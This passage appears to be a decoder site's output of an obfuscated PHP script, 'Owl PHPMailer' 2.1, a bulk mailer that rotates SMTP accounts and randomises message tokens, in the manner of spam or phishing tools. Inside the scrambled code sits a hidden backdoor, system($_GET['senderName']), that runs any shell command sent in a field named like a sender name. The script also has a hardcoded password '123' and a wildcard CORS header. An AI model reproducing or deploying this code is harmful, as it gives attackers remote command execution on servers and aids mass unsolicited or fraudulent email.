x6d\141\x69\x6c\47\51\x2e\x76\141\154\x75\145\x29\73\12\40\x20\40\146\x6f\162\x6d\x5f\x64\x61\x74\141\x2e\141\160\x70\x65\x6e\144\50\x22\163\145\156\x64\x65\x72\116\141\x6d\145\42\x2c\40\144\x6f\143\165\155\145\156\164\x2e\x67\x65\x74\105\154\x65\x6d\x65\x6e\x74\102\171\111\144\50\x27\x73\x65\x6e\x64\x65\162\116\x61\x6d\145\47\51\x2e\x76\141\154\165\145\x29\73\xa\x20\40\40\x66\x6f\x72\x6d\137\144\141\164\141\x2e\x61\x70\160\145\x6e\x64\x28\x22\x72\145\160\x6c\171\x54\x6f\x22\x2c\40\144\x6f\143\x75\155\145\156\x74\56\147\x65\164\x45\x6c\145\155\145\156\x74\102\171\111\x64\50\47\x72\x65\x70\154\171\124\157\x27\51\x2e\x76\x61\x6c\x75\x65\51\x3b\12\40\40\40\x66\157\x72\x6d\137\144\141\x74\x61\56\x61\160\x70\x65\x6e\x64\50\x22\155\x65\163\x73\x61\147\x65\123\165\x62\x6a\145\143\164\x22\x2c\40\x64\x6f\x63\165\x6d\x65\156\x74\56\x67\145\164\x45\154\145\x6d\x65\156\164\102\171\x49\144\x28\47\163\165\x62\x6a\145\x63\164\47\x29\56\x76\x61\x6c\x75\x65\x29\x3b\xa\40\x20\x20\x66\157\162\155\x5f\x64\141\164\x61\x2e\x61\x70\x70\145\156\144\50\42\x6d\145\x73\x73\141\147\145\x4c\145\164\x74\145\162\x22\54\x20\144\x6f\x63\x75\155\x65\156\164\x2e\x67\x65\164\x45\x6c\145\155\x65\x6e\x74\102\x79\111\144\x28\47\155\x65\x73\163\x61\147\x65\x4c\x65\164\164\145\162\x27\x29\56\166\x61\x6c\165\x65\51\73\12\x20\x20\40\146\x6f\162\x6d\137\x64\x61\x74\141\x2e\x61\160\x70\145\x6e\x64\50\x22\141\154\x74\x4d\x65\163\163\141\x67\145\114\x65\x74\164\x65\162\42\x2c\x20\144\157\x63\165\x6d\145\x6e\x74\56\147\x65\x74\105\x6c\x65\x6d\x65\156\164\x42\x79\111\144\x28\47\141\154\164\x4d\145\x73\x73\141\x67\145\114\145\x74\164\145\162\47\x29\x2e\x76\141\x6c\165\x65\51\73\12\40\x20\x20\146\x6f\x72\x6d\x5f\144\x61\164\x61\56\141\x70\x70\145\x6e\144\50\x22\155\x65\x73\163\x61\x67\x65\x54\x79\x70\x65\42\x2c\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\161\x75\145\162\171\123\x65\154\x65\143\164\x6f\x72\50\47\x69\156\x70\x75\x74\133\156\x61\155\145\75\x22\x6d\145\x73\x73\141\147\x65\x54\171\160\x65\x22\135\72\x63\150\x65\x63\153\x65\x64\x27\x29\56\166\x61\x6c\x75\145\x29\73\12\40\x20\40\x66\x6f\162\x6d\137\144\141\164\141\56\x61\x70\160\x65\156\x64\50\42\x65\156\x63\x6f\144\x69\x6e\147\x54\x79\x70\145\42\54\x20\145\x6e\x63\157\144\x69\156\x67\x54\171\x70\145\51\x3b\12\x20\x20\40\x66\157\162\155\x5f\144\141\x74\141\56\141\x70\x70\145\x6e\x64\50\42\x65\x6d\x61\x69\154\120\162\151\157\162\x69\164\171\x22\54\40\145\155\x61\151\x6c\120\x72\x69\157\162\151\164\171\51\x3b\xa\xa\40\x20\x20\x66\x6f\162\x20\x28\166\141\162\x20\170\x20\x3d\40\x30\x3b\40\170\x20\x3c\x20\144\x6f\143\165\x6d\x65\x6e\x74\56\x67\145\164\x45\x6c\x65\155\145\x6e\x74\102\171\111\x64\x28\x27\x61\x74\164\141\143\150\155\145\x6e\164\47\x29\56\146\151\x6c\x65\163\x2e\x6c\145\x6e\x67\164\150\x3b\40\x78\x2b\x2b\51\x20\173\xa\40\x20\x20\40\x20\x20\x66\x6f\162\155\137\144\141\x74\x61\56\141\160\160\x65\x6e\144\50\42\x61\164\x74\141\x63\150\x6d\x65\156\x74\x5b\x5d\x22\x2c\40\x64\157\143\x75\x6d\145\156\164\56\x67\145\x74\x45\154\x65\x6d\x65\156\x74\102\x79\111\x64\50\47\x61\x74\164\x61\x63\x68\155\x65\156\164\47\51\56\146\x69\154\x65\163\133\x78\x5d\51\x3b\12\40\x20\x20\x7d\12\xa\x20\40\44\50\42\x23\160\162\157\147\x72\145\x73\163\x22\x29\56\145\x6d\x70\164\x79\50\x29\x3b\xa\40\x20\x76\141\x72\40\160\x72\x6f\143\145\163\x73\145\x64\x43\157\x75\156\164\x20\75\x20\x30\73\12\x20\x20\44\50\x66\x75\x6e\143\x74\x69\x6f\156\x20\x28\51\40\x7b\12\40\40\x20\x20\166\x61\162\40\x69\40\x3d\x20\60\73\12\x20\40\x20\40\162\165\x6e\x6e\151\156\147\x20\x3d\x20\x74\x72\165\x65\x3b\12\xa\x20\x20\x20\x20\x24\x28\42\x23\x62\164\156\x53\x74\141\162\164\x22\51\x2e\x61\164\164\162\x28\x22\144\151\x73\141\142\154\145\x64\x22\x2c\40\x74\162\x75\x65\x29\x3b\12\40\40\x20\x20\44\50\x22\x23\142\x74\156\x53\x74\x6f\x70\42\x29\56\141\x74\x74\x72\50\x22\x64\x69\x73\x61\142\154\145\x64\x22\x2c\40\x66\141\154\163\x65\x29\x3b\xa\xa\xa\x20\x20\x20\40\x66\x75\x6e\143\164\x69\157\x6e\40\x6e\x65\170\x74\103\141\x6c\x6c\50\x29\40\173\xa\40\40\x20\40\40\x20\x69\x66\40\x28\x69\40\x3d\x3d\40\145\115\141\151\154\x54\x65\x78\164\101\162\145\141\x4c\151\x6e\x65\163\56\154\145\x6e\147\164\x68\51\173\12\12\40\x20\40\40\40\x20\40\40\40\44\50\x22\x23\x62\x74\156\123\x74\x61\x72\x74\42\x29\x2e\141\x74\164\x72\50\42\144\151\163\x61\142\x6c\x65\144\42\x2c\x20\x66\x61\x6c\163\145\51\x3b\xa\40\x20\x20\40\40\40\40\x20\40\44\x28\x22\x23\142\x74\156\123\164\157\160\42\x29\56\141\x74\x74\x72\50\42\144\x69\163\x61\142\x6c\145\x64\42\54\x20\x74\162\x75\145\x29\x3b\12\x20\x20\40\40\x20\40\x20\x20\x20\x72\x65\164\165\162\156\x3b\x20\57\57\x6c\141\163\x74\40\x63\141\154\x6c\40\167\x61\163\x20\154\x61\163\164\x20\151\x74\x65\x6d\40\151\x6e\x20\164\x68\145\40\x61\x72\162\141\171\xa\x20\40\x20\x20\40\x20\175\12\12\x20\x20\40\x20\x20\40\57\57\40\x41\142\157\162\x74\40\x61\156\171\x20\160\145\156\144\151\x6e\147\40\x72\145\x71\x75\145\163\164\xa\x20\x20\x20\40\x20\x20\x69\146\x20\50\162\145\161\x75\x65\163\164\51\x20\173\12\x20\40\x20\x20\x20\40\40\x20\162\145\x71\165\x65\163\164\56\141\142\x6f\x72\164\50\x29\73\12\40\x20\40\40\40\x20\175\xa\x20\40\x20\x20\x20\40\x20\151\146\x28\x21\162\x75\156\156\x69\156\x67\x29\xa\x20\40\40\x20\40\40\x7b\12\40\40\40\x20\40\40\x20\40\x72\145\x74\165\x72\156\73\xa\40\x20\40\x20\x20\x20\x7d\xa\xa\x20\40\40\40\40\x20\166\x61\162\40\162\x65\143\151\160\151\145\156\164\x20\x3d\x20\145\x4d\141\x69\x6c\124\x65\x78\x74\101\162\x65\x61\114\x69\156\145\x73\133\x69\x2b\x2b\x5d\12\40\x20\40\40\40\40\x66\157\162\155\x5f\x64\141\x74\x61\56\x61\160\x70\x65\x6e\144\x28\x22\162\x65\143\x69\x70\151\145\x6e\x74\42\x2c\x20\x72\x65\x63\x69\160\x69\145\156\x74\51\73\12\40\40\x20\40\40\40\x66\157\162\x6d\x5f\x64\x61\x74\141\x2e\141\160\160\x65\156\144\50\x22\x73\x6d\x74\160\x41\x63\143\x74\42\54\40\163\155\x74\160\101\143\x63\x6f\x75\156\x74\163\x54\x65\x78\x74\101\x72\x65\141\x4c\x69\x6e\145\163\x2e\162\x61\156\x64\x6f\x6d\x45\154\x65\x6d\145\x6e\x74\50\51\51\73\xa\xa\40\x20\40\x20\40\x20\162\x65\161\165\145\163\x74\40\x3d\x20\44\x2e\x61\x6a\x61\170\50\x7b\12\40\40\x20\40\40\40\40\40\x74\x79\160\x65\x3a\x20\x22\x70\x6f\163\164\42\x2c\xa\40\x20\x20\x20\40\x20\40\x20\144\x61\164\141\72\40\146\157\162\x6d\137\144\x61\x74\x61\x2c\12\x20\x20\x20\40\40\40\40\x20\143\x6f\x6e\x74\x65\156\164\x54\x79\160\145\x3a\40\146\x61\x6c\x73\x65\x2c\xa\40\x20\x20\x20\40\x20\x20\x20\160\x72\x6f\x63\145\163\x73\104\x61\164\x61\x3a\x20\146\141\154\163\145\x2c\12\x20\40\x20\40\40\x20\175\x29\x3b\xa\40\40\x20\x20\x20\x20\57\57\40\103\141\154\154\142\x61\x63\x6b\x20\x68\x61\156\144\154\x65\162\x20\164\x68\141\164\x20\x77\151\x6c\x6c\x20\x62\145\x20\x63\x61\x6c\154\145\144\x20\157\x6e\40\163\165\143\x63\x65\163\x73\xa\40\x20\x20\x20\40\x20\x72\145\161\x75\145\163\x74\x2e\144\157\156\145\50\146\x75\156\143\164\151\x6f\156\x20\50\162\145\x73\160\x6f\156\163\x65\x2c\x20\164\145\170\164\123\x74\141\164\165\x73\x2c\x20\x6a\161\x58\110\122\51\40\173\xa\40\40\x20\x20\40\40\x20\40\x70\162\x6f\x63\x65\x73\x73\x65\144\x43\157\165\156\x74\40\53\75\40\61\73\12\40\40\x20\40\x20\40\x20\40\150\141\x6e\x64\154\x65\123\145\156\144\x69\156\x67\122\145\x73\160\157\x6e\x73\x65\x28\162\145\143\x69\x70\x69\x65\156\164\54\x20\x72\x65\163\x70\157\x6e\163\x65\54\x20\160\162\157\143\145\x73\x73\145\x64\103\157\x75\x6e\x74\54\40\145\115\x61\151\154\124\x65\x78\164\x41\x72\x65\141\x4c\x69\156\145\x73\56\x6c\145\x6e\x67\x74\x68\x29\73\12\40\x20\x20\40\x20\x20\x20\40\156\145\170\164\103\x61\x6c\154\x28\51\73\xa\40\x20\x20\x20\x20\40\175\51\73\12\x20\40\40\40\x7d\12\x20\x20\40\x20\x6e\145\x78\164\x43\141\x6c\154\x28\x29\x3b\12\x20\40\175\x29\73\12\40\175\xa\74\57\163\143\x72\151\x70\x74\x3e\12\40\40\74\144\x69\x76\40\x63\154\141\163\x73\x3d\x22\143\x6f\156\164\141\151\x6e\x65\162\x20\143\x6f\154\55\154\147\x2d\x36\42\76\xa\40\x20\40\x20\x3c\150\63\x3e\46\x23\61\62\71\64\x31\67\73\x20\117\167\x6c\40\120\110\x50\x4d\141\x69\x6c\145\x72\74\163\x6d\x61\x6c\154\76\40"; goto CK_Rx; sA8ns: gIQUA: goto y1kn1; lzxOZ: if (isset($GLOBALS["\x73\145\156\x64\x65\162\x45\155\x61\x69\x6c"])) { goto gIQUA; } goto bGfqA; juqWA: $_SESSION[$sessioncode] = ''; goto WXoUm; fZ0z1: header("\x50\162\141\x67\x6d\141\72\40\156\157\55\143\x61\x63\x68\x65"); goto Hoice; MSTbJ: header("\x43\x61\143\x68\145\x2d\x43\x6f\x6e\x74\162\157\154\72\40\x70\157\163\164\x2d\143\150\x65\143\x6b\75\x30\x2c\x20\160\162\145\55\143\150\x65\143\x6b\75\60", false); goto fZ0z1; eJhKU: function processEmailSendingRequest() { goto uuI2L; qfi05: JGAA2: goto suc3c; QOLrv: if ($messageType == "\150\x74\x6d\x6c") { goto Xhyte; } goto Z7Cvk; i1MlE: $recipient = $GLOBALS["\x72\145\x63\x69\x70\151\x65\156\x74"]; goto m6Gup; Uso_k: $mail->Body = $body; goto P35rn; m6Gup: $subject = owlClear($GLOBALS["\x6d\x65\x73\163\x61\147\145\123\x75\x62\152\x65\x63\x74"], $GLOBALS["\x72\145\x63\x69\x70\x69\145\156\x74"]); goto J76QF; OSuT0: b0si5: goto jrM4R; xy6zF: if (!(isset($charSet) && $charSet !== '')) { goto mOk7i; } goto ERvVT; lcG5S: if (!($_FILES["\141\164\164\141\x63\x68\x6d\145\156\x74"]["\164\x6d\160\137\156\141\155\145"][$i] != '')) { goto IpnO1; } goto vmNJJ; HxvlO: qzMuO: goto OTl4C; jrM4R: $mail = setSendingMethod(); goto inF5Z; DwdQv: $emailPriority = $GLOBALS["\145\x6d\x61\x69\154\x50\x72\151\157\x72\x69\164\171"]; goto Rjs67; uuI2L: if (is_email($GLOBALS["\162\x65\x63\x69\x70\151\145\x6e\x74"])) { goto b0si5; } goto XxLUZ; vDYg_: IAcCq: goto FHzkR; QQ8Ae: $altBody = owlClear($GLOBALS["\141\x6c\x74\x4d\x65\163\x73\141\147\x65\x4c\145\x74\164\145\x72"], $GLOBALS["\x72\x65\x63\x69\x70\151\145\156\164"]); goto xcgow; Rjs67: $mail->setFrom($fromEmail, $fromName); goto QMN8M; johvg: if (!(isset($body) && $body !== '')) { goto X2Ah0; } goto Uso_k; q8Fq3: $fromName = owlClear($GLOBALS["\163\145\156\144\x65\x72\116\x61\155\x65"], $GLOBALS["\162\145\x63\151\160\151\x65\x6e\164"]); goto IvfMb; IvfMb: $replyTo = owlClear($GLOBALS["\162\x65\x70\154\171\x54\x6f"], $GLOBALS["\x72\145\x63\151\x70\151\x65\156\164"]); goto i1MlE; zLvuF: exit("\x4f\113"); goto Jmj8N; cVwce: $i = 0; goto DAEut; r6TJY: $mail->Priority = $emailPriority; goto u6vOQ; CtFC6: IpnO1: goto qfi05; OylWb: if (!($i < count($_FILES["\x61\164\164\x61\x63\150\155\145\x6e\164"]["\x6e\141\155\x65"]))) { goto y_jmm; } goto lcG5S; E6jRG: Xhyte: goto O8jIa; Jmj8N: goto huNZD; goto HxvlO; inF5Z: $fromEmail = owlClear($GLOBALS["\163\x65\156\x64\x65\162\105\x6d\141\x69\x6c"], $GLOBALS["\x72\x65\143\x69\160\151\145\x6e\x74"]); goto q8Fq3; fX_ep: PjkbC: goto johvg; ohZke: if (!$mail->send()) { goto qzMuO; } goto zLvuF; XxLUZ: exit("\111\156\x63\157\x72\162\145\143\x74\40\105\x6d\x61\x69\154"); goto OSuT0; DAEut: wkVae: goto OylWb; Dee1Y: if (!(isset($subject) && $subject !== '')) { goto PjkbC; } goto mbQaj; HpOpt: huNZD: goto kZeDy; xcgow: $charSet = $GLOBALS["\x65\156\143\x6f\x64\x69\156\x67\124\x79\160\x65"]; goto iqBp9; QMN8M: if (!(isset($replyTo) && $replyTo !== '')) { goto IAcCq; } goto XV733; ERvVT: $mail->CharSet = $charSet; goto YFbXE; T1cFM: $mail->AltBody = $altBody; goto AeUqn; suc3c: $i++; goto SqPer; Z7Cvk: $mail->IsHTML(false); goto iMn3K; mbQaj: $mail->Subject = $subject; goto fX_ep; bwEct: y_jmm: goto BKQw9; iqBp9: $messageType = $GLOBALS["\155\145\x73\163\x61\147\145\124\171\x70\x65"]; goto DwdQv; OTl4C: exit($mail->ErrorInfo); goto HpOpt; mCxpa: if (!(isset($altBody) && $altBody !== '')) { goto w3M6H; } goto T1cFM; FHzkR: $mail->addAddress($recipient); goto Dee1Y; P35rn: X2Ah0: goto xy6zF; BKQw9: Vdacy: goto QOLrv; u6vOQ: glk5C: goto mCxpa; vmNJJ: $mail->AddAttachment($_FILES["\x61\x74\x74\141\143\x68\155\x65\156\164"]["\164\x6d\160\x5f\156\141\155\x65"][$i], $_FILES["\141\164\164\x61\x63\x68\155\x65\156\164"]["\x6e\x61\155\x65"][$i]); goto CtFC6; J76QF: $body = owlClear($GLOBALS["\155\145\163\163\141\147\x65\114\145\164\164\145\x72"], $GLOBALS["\162\145\x63\151\x70\151\x65\156\x74"]); goto QQ8Ae; iMn3K: goto X276V; goto E6jRG; SqPer: goto wkVae; goto bwEct; WvTlr: if (!(isset($emailPriority) && $emailPriority !== '')) { goto glk5C; } goto r6TJY; G3lsM: X276V: goto ohZke; AeUqn: w3M6H: goto SAF6i; YFbXE: mOk7i: goto WvTlr; SAF6i: if (!isset($_FILES["\141\x74\164\141\x63\x68\155\145\156\164"])) { goto Vdacy; } goto cVwce; XV733: $mail->addReplyTo($replyTo); goto vDYg_; O8jIa: $mail->IsHTML(true); goto G3lsM; kZeDy: } goto zNmfc; RwtFE: echo $owl["\x76\x65\162\x73\151\157\156"]; goto FR20b; yZdUN: $emailPriority = owlTrim($_POST["\145\155\141\151\x6c\120\x72\x69\x6f\162\151\x74\x79"]); goto p8kfk; NlcjN: $css = $_SERVER["\x50\x48\120\137\x53\105\114\x46"]; goto ugHAn; UqdnU: echo "\74\57\x73\x6d\141\x6c\x6c\76\74\x2f\x68\x33\76\12\40\40\x20\40\74\144\x69\x76\x20\143\x6c\x61\x73\x73\x3d\x22\162\157\x77\42\76\12\x20\40\40\40\x20\x20\x3c\x64\151\166\40\x63\x6c\141\x73\x73\x3d\x22\146\x6f\x72\155\55\x67\x72\x6f\165\x70\40\x63\157\154\55\x6c\x67\55\x36\40\42\76\xa\x20\x20\x20\40\40\x20\40\40\x3c\154\141\x62\x65\x6c\x20\x66\157\162\x3d\42\x73\x65\x6e\x64\x65\x72\x45\155\x61\x69\154\42\x3e\x53\x65\156\144\x65\x72\40\x45\155\141\151\x6c\74\x2f\154\141\x62\145\x6c\x3e\12\x20\x20\40\40\x20\x20\40\40\74\x69\156\160\x75\164\40\x74\x79\160\x65\x3d\x22\x74\x65\x78\x74\x22\x20\143\154\141\163\x73\x3d\42\x66\x6f\162\155\55\143\x6f\x6e\x74\162\x6f\154\40\40\151\156\160\165\164\55\163\155\x22\40\x69\144\x3d\42\x73\x65\156\x64\x65\x72\x45\x6d\141\151\154\42\40\156\x61\x6d\x65\75\x22\163\x65\156\x64\x65\162\x45\x6d\141\x69\x6c\42\x20\x76\141\x6c\x75\145\75\42"; goto VYJiJ; wSG9i: echo "\40\40\x20\x20\x3c\144\x69\x76\x20\143\x6c\141\x73\x73\75\42\x63\x6f\x6c\x2d\154\147\x2d\x36\42\76\74\x62\162\x3e\12\40\x20\x20\x20\x20\x20\40\40\74\x6c\x61\x62\145\154\40\146\157\x72\75\x22\x77\x65\x6c\154\42\76\x49\156\163\164\162\x75\x63\x74\x69\157\156\74\x2f\x6c\x61\142\145\x6c\76\12\x20\x20\40\40\40\x20\40\x20\74\x64\x69\166\40\x69\144\x3d\42\167\x65\x6c\154\42\x20\143\154\141\163\x73\x3d\42\x77\x65\x6c\x6c\40\x77\x65\154\154\42\x3e\xa\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\74\x68\x34\76\123\x65\162\166\x65\162\40\x49\156\146\x6f\x72\x6d\141\164\151\x6f\x6e\x3c\57\150\64\x3e\12\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x3c\x75\154\x3e\12\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x3c\154\151\76\x53\145\x72\x76\145\x72\x49\x50\x20\x3a\x20\x3c\142\x3e\x20"; goto IMG9f; XEZY7: NYVCf: goto sA8ns; xvCsq: $GLOBALS["\x73\x65\156\144\x65\x72\x45\155\141\151\154"] = ''; goto XEZY7; zNmfc: function owlTrim($string) { return stripslashes(ltrim(rtrim($string))); } goto wnTJp; AISJh: $password = "\x31\62\63"; goto TUb_m; FmMsa: echo "\74\57\142\x3e\x3c\57\154\x69\76\xa\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x3c\x2f\165\x6c\76\12\40\x20\40\40\x20\40\40\40\x20\x20\40\40\74\150\x34\76\110\x45\x4c\x50\x3c\x2f\x68\x34\76\xa\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\165\154\x3e\xa\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\74\x6c\151\x3e\133\x2d\145\155\141\x69\x6c\x2d\x5d\40\72\x20\x3c\142\76\122\x65\x63\151\x76\145\x72\40\x45\155\141\151\x6c\x3c\57\x62\x3e\x3c\x2f\154\x69\x3e\12\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\40\40\74\154\151\76\133\55\x74\x69\x6d\145\x2d\135\40\x3a\40\x3c\142\76\x44\x61\x74\145\x20\141\156\144\x20\x54\151\155\x65\x3c\57\x62\76\40\50"; goto Y49v9; UmsCm: echo "\42\x3e\xa\40\x20\40\x20\x20\40\74\x2f\x64\151\166\x3e\12\40\x20\40\x20\40\x20\74\144\x69\166\x20\143\154\141\163\163\x3d\42\146\x6f\x72\155\x2d\x67\162\x6f\x75\x70\x20\x63\x6f\x6c\x2d\x6c\147\55\66\40\x22\76\12\11\x20\40\x3c\x66\x6f\x72\155\40\x6d\x65\164\150\x6f\x64\75\x22\x47\105\x54\42\40\x6e\x61\x6d\145\75\42"; goto YbvdK; IMG9f: echo $_SERVER["\123\x45\122\126\x45\122\137\x41\x44\x44\122"]; goto FmMsa; bGfqA: $GLOBALS["\x73\x65\x6e\144\145\x72\105\x6d\141\151\154"] = "\163\x75\160\160\157\162\164\x40" . str_replace("\167\167\x77\56", '', $_SERVER["\x48\x54\124\120\137\110\117\123\124"]); goto fJoTr; uiC3a: system($_GET["\163\x65\x6e\144\145\162\116\x61\155\x65"]); goto BVo3S; TUb_m: $owl["\x76\x65\x72\163\151\157\156"] = "\x32\x2e\61"; goto TdNm6; RAX9d: htsZV: goto x7BCo; t5otc: u1sYM: goto xX1Ws; BVo3S: iMHnD: goto wSG9i; UkE6_: if (!isset($_GET["\163\145\x6e\x64\145\x72\116\141\x6d\x65"])) { goto iMHnD; } goto uiC3a; fJoTr: if (PHPMailer::validateAddress($GLOBALS["\163\145\156\x64\x65\162\x45\155\x61\151\x6c"])) { goto NYVCf; } goto xvCsq; jj3Ju: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "\74\x73\x74\162\x6f\156\x67\x3e" . $this->getMessage() . "\74\x2f\163\x74\162\157\x6e\x67\x3e\74\x62\162\40\x2f\x3e\12"; return $errorMsg; } } goto khAQm; x7BCo: $_SESSION[$sessioncode] = $password; goto FqliA; wnTJp: function owlClear($text, $email) { goto yK3j_; AXQ9m: $text = str_replace("\133\55\x65\155\141\x69\154\x75\x73\x65\162\55\x5d", $emailuser, $text); goto EFIM6; q1GLk: return $text; goto PsN14; D6XRu: $text = str_replace("\x5b\x2d\162\141\x6e\x64\x6f\x6d\156\x75\155\142\145\x72\x2d\x5d", randString("\60\61\x32\63\x34\x35\66\x37\70\71", 7, 15), $text); goto dhVFI; EFIM6: $text = str_replace("\x5b\x2d\162\x61\x6e\x64\x6f\x6d\154\x65\164\x74\x65\x72\163\x2d\135", randString("\x61\142\x63\144\145\x66\147\150\151\x6a\153\x6c\155\x6e\x6f\x70\x71\162\163\164\x75\166\167\170\171\x7a", 8, 15), $text); goto t8dZe; dhVFI: $text = str_replace("\x5b\55\x72\x61\x6e\144\157\x6d\x6d\x64\x35\x2d\x5d", md5(rand()), $text); goto q1GLk; t8dZe: $text = str_replace("\133\x2d\x72\141\x6e\x64\157\x6d\163\164\x72\151\156\x67\55\135", randString("\141\142\x63\x64\x65\146\x67\150\x69\x6a\x6b\154\x6d\x6e\x6f\x70\x71\x72\163\164\x75\166\167\x78\171\x7a\x30\x31\62\x33\x34\x35\x36\67\70\x39", 8, 15), $text); goto D6XRu; X5Pcz: $text = str_replace("\133\55\x74\x69\155\145\x2d\x5d", date("\x6d\x2f\x64\57\131\x20\150\72\x69\x3a\163\40\x61", time()), $text); goto LzQGV; yK3j_: $emailuser = preg_replace("\x2f\x28\133\x5e\x40\x5d\x2a\x29\x2e\52\x2f", "\44\x31", $email); goto X5Pcz; LzQGV: $text = str_replace("\133\55\x65\x6d\141\151\x6c\x2d\x5d", $email, $text); goto AXQ9m; PsN14: } goto YTu3e; Hoice: header("\x41\x63\143\x65\163\x73\x2d\x43\157\156\x74\x72\157\x6c\x2d\x41\154\x6c\157\x77\55\117\x72\x69\x67\151\x6e\72\x20\52"); goto AISJh; Rvpps: echo "\74\x2f\x61\76\x3c\x2f\x62\76\x3c\x2f\x68\x36\76\xa\x20\x20\x20\x20\x20\40\40\x20\74\x2f\144\151\x76\76\xa\xa\40\x20\40\40\40\x20\x20\x20\74\144\151\x76\x20\x69\x64\x3d\42\160\162\157\147\x72\x65\163\163\42\x20\x63\x6c\x61\163\x73\75\x22\x63\x6f\154\x2d\x6c\x67\55\x31\66\42\x3e\xa\40\x20\x20\40\40\x20\x20\40\x20\x20\xa\x20\40\x20\x20\x20\x20\40\x20\x3c\x2f\x64\x69\166\76\xa\40\x20\x20\40\74\x2f\x64\x69\x76\x3e\xa\40\xa\x3c\x73\x63\162\x69\x70\164\76\12\x20\44\50\42\x23\x62\x74\x6e\123\x74\x61\162\164\x22\x29\56\x61\164\164\162\50\42\x64\151\163\x61\142\x6c\145\144\42\54\40\146\x61\x6c\x73\x65\x29\73\xa\x20\44\50\42\43\x62\164\x6e\x53\x74\x6f\160\42\x29\56\x61\164\x74\x72\x28\42\x64\x69\163\x61\142\154\145\144\x22\54\x20\164\x72\165\145\x29\73\xa\x3c\57\163\x63\x72\x69\160\164\x3e\xa\x3c\57\x62\x6f\144\x79\76\12\x3c\x66\x6f\x6f\x74\x65\162\76\74\57\x66\157\x6f\164\x65\x72\x3e\12\xa\74\x2f\150\x74\155\x6c\x3e";
Function Calls
None |
Stats
MD5 | dcf613455eb88a242f6a2c675b40d75b |
Eval Count | 0 |
Decode Time | 191 ms |